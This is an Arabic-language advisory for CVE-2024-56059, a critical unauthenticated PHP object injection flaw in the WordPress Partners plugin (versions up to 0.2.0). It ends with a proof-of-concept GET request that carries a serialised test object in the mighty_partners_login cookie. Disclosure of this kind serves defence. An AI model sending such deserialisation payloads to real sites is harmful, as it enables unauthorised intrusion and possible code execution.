CVE-2024-56059

إضافة Partners <= 0.2.0 - حقن كائن PHP غير مصادق عليه

الوصف

إضافة Partners لـ WordPress معرّضة لحقن كائن PHP في الإصدارات حتى 0.2.0 وما يشمل ذلك عبر إلغاء تسلسل مدخلات غير موثوقة. وهذا يتيح للمهاجمين غير المصادقين حقن كائن PHP. لا توجد سلسلة POP معروفة في البرنامج الثغرة. إذا وُجدت سلسلة POP عبر إضافة أو قالب إضافي مثبّت على النظام المستهدف، فقد تسمح للمهاجم بحذف ملفات عشوائية، أو استرجاع بيانات حساسة، أو تنفيذ كود.

التفاصيل

• النوع: إضافة
• Slug: partners
• الإصدار المتأثر: 0.2.0
• درجة CVSS: 9.8
• تقييم CVSS: حرجة
• متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-56059
• الحالة: نشط

POC

GET /partners/ HTTP/1.1
Host: kubernetes.docker.internal:8929
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: mighty_partners_login=TzoyMDoiUEhQX09iamVjdF9JbmplY3Rpb24iOjA6e30=